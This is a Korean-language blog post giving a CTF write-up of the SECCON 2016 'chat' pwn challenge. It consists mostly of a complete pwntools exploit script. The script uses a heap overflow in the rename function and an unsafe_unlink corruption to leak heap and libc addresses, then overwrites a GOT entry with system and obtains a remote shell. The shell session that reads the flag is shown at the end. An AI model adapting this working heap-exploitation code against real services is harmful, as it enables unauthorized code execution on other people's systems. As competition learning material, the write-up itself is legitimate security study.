SECCON 2016 chat

Games/CTF 2016. 12. 11. 20:51

요약: change name 할때 16바이트 힙오버. next chunk 메타데이타를 덮을수있음.  unsafe_unlink 써서 임의메모리쓰기해서 익스.

summary: 16byte heap overflow in change_name.  use unsafe_unlink and get write-what-where.




from pwn import *

context.arch = 'amd64' # i386 / arm

r = remote('chat.pwn.seccon.jp', 26895)

raw_input('attach')

print r.recvuntil('menu > ')


def adduser(name):

    r.sendline('1')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu > ')


# for heap address leak.

adduser('1111')

adduser('2222')

adduser('zzzzzzzzccc')   # this is normal user.


# make normal 0x20 chunk. this will become fake chunk for unsafe unlink. 

adduser('c'*28)   # 0x6030e0 + 0x18 is the object pointer (c).


# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header. 

adduser('daehee')


def deluser(name, getleak):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('7')

    print r.recvuntil('name >> ')

    r.sendline('\xff')

    if getleak==0:

        print r.recvuntil('menu > ')

    else:

        sleep(1)

        leak = r.recv(8192)

        return int(leak.split('Bye, ')[1].split('\n')[0][::-1].encode('hex'), 16)


def change_name(name, payload):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('7')

    print r.recvuntil('name >> ')

    r.sendline(payload)

    print r.recvuntil('menu >> ')

    r.sendline('0')

    print r.recvuntil('menu > ')


def tweet(name, msg):

    r.sendline('2')

    print r.recvuntil('name > ')

    r.sendline(name)

    print r.recvuntil('menu >> ')

    r.sendline('4')

    print r.recvuntil('message >> ')

    r.sendline(msg)

    print r.recvuntil('menu >> ')

    r.sendline('0')

    print r.recvuntil('menu > ')

    


heap_base = deluser('2222', 1) - 0x10

pfake_chunk_addr = heap_base + 0xb8

deluser('1111', 0)

print hex(heap_base)

payload = 'A'*24

tweet('zzzzzzzzccc', payload)


# overwrite tweet chunk metadata

payload = 'e'*24

payload += '\xa0'

change_name('daehee', payload)


payload2 = 'e'*23

change_name(payload, payload2)

payload3 = 'e'*22

change_name(payload2, payload3)

payload4 = 'e'*21

change_name(payload3, payload4)

payload5 = 'e'*20

change_name(payload4, payload5)

payload6 = 'e'*19

change_name(payload5, payload6)

payload7 = 'e'*18

change_name(payload6, payload7)

payload8 = 'e'*17

change_name(payload7, payload8)

payload9 = 'e'*16 + '\x60'      # 0x60 is the offset for previous fake chunk.

change_name(payload8, payload9)


# setup fake chunk FD(0x6030e0), BK(0x6030e8)

payload = 'c'*24

payload += pack(pfake_chunk_addr+8)[:4]

change_name('c'*28, payload)


payload2 = 'c'*23

change_name(payload, payload2)

payload3 = 'c'*22

change_name(payload2, payload3)

payload4 = 'c'*21

change_name(payload3, payload4)

payload5 = 'c'*20

change_name(payload4, payload5)

payload6 = 'c'*19

change_name(payload5, payload6)


payload7 = 'c'*16

payload7 += pack(pfake_chunk_addr)[:4]

change_name(payload6, payload7)

change_name(payload7, 'ccc')


# login as zzzzzzzzccc and trigger free!

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('zzzzzzzzccc')

print r.recvuntil('menu >> ')

r.sendline('6')

print r.recvuntil('id >> ')

r.sendline('1')

print r.recvuntil('menu >> ')

r.sendline('0')


# login as ccc and leak GOT.

print r.recvuntil('menu > ')

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('ccc')

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('d'*24 + pack(0x603070)[:4])

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('give me leak')

sleep(.5)

leak = r.recv(8192)

libc_malloc = int(leak.split('Bye, ')[1][:6][::-1].encode('hex'), 16)

print hex(libc_malloc)


# defragment heap...

adduser('F'*30)

adduser('G'*30)


# final stage

adduser('xxxxxxxxggg')   # this is normal user.

# make normal 0x20 chunk. this will become fake chunk for unsafe unlink. 

adduser('g'*28)   # 0x6030e0 + 0x18 is the object pointer (c).

# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header. 

adduser('hahah')

pfake_chunk_addr = heap_base + 0x158

payload = 'B'*24

tweet('xxxxxxxxggg', payload)

raw_input('zzzzzzzzz')


# overwrite tweet chunk metadata

payload = 'i'*24

payload += '\xa0'

change_name('hahah', payload)

payload2 = 'i'*23

change_name(payload, payload2)

payload3 = 'i'*22

change_name(payload2, payload3)

payload4 = 'i'*21

change_name(payload3, payload4)

payload5 = 'i'*20

change_name(payload4, payload5)

payload6 = 'i'*19

change_name(payload5, payload6)

payload7 = 'i'*18

change_name(payload6, payload7)

payload8 = 'i'*17

change_name(payload7, payload8)

payload9 = 'i'*16 + '\x60'      # 0x60 is the offset for previous fake chunk.

change_name(payload8, payload9)


# setup fake chunk FD(0x6030e0), BK(0x6030e8)

payload = 'g'*24

payload += pack(pfake_chunk_addr+8)[:4]

change_name('g'*28, payload)


payload2 = 'g'*23

change_name(payload, payload2)

payload3 = 'g'*22

change_name(payload2, payload3)

payload4 = 'g'*21

change_name(payload3, payload4)

payload5 = 'g'*20

change_name(payload4, payload5)

payload6 = 'g'*19

change_name(payload5, payload6)


payload7 = 'g'*16

payload7 += pack(pfake_chunk_addr)[:4]

change_name(payload6, payload7)

change_name(payload7, 'ggg')


# login as zzzzzzzzccc and trigger free!

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('xxxxxxxxggg')

print r.recvuntil('menu >> ')

r.sendline('6')

print r.recvuntil('id >> ')

r.sendline('2')

print r.recvuntil('menu >> ')

r.sendline('0')


# login as ccc and overwrite GOT.

print r.recvuntil('menu > ')

r.sendline('2')

print r.recvuntil('name > ')

r.sendline('ggg')

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')

r.sendline('\x40'*24 + pack(0x60302a)[:4])

print r.recvuntil('menu >> ')

r.sendline('7')

print r.recvuntil('name >> ')


system = libc_malloc - 0x3c0d0

print hex(system)

raw_input('ready')

r.sendline( 'A'*14 + pack(system) )

print r.recv(8192)

r.sendline('sh;')

# get shell?

r.interactive()











...


Service Menu


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> 

name >> 

Done.


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> 

name >> 

0x7f6864de4590

ready

Done.


[*] Switching to interactive mode


1 : Show TimeLine    2 : Show DM    3 : Show UsersList

4 : Send PublicMessage    5 : Send DirectMessage

6 : Remove PublicMessage        7 : Change UserName

0 : Sign Out

menu >> $ id

uid=10749 gid=1001(chat) groups=1001(chat)

$ ls

chat

flag.txt

run.sh

$ cat flag.txt

SECCON{51mpl3_ch47_l1k3_7w1*73*}

$  



'Games > CTF' 카테고리의 다른 글

SECCON 2016 logger  (0) 2016.12.11
SECCON 2016 jumper  (0) 2016.12.11
SECCON 2016 chat  (0) 2016.12.11
Tokyo Westerns MMA CTF 2016 interpreter  (0) 2016.09.05
Tokyo Westerns MMA CTF 2016 shadow  (0) 2016.09.05
BKP2016 segsh  (0) 2016.06.24
Posted by daehee87

댓글을 달아 주세요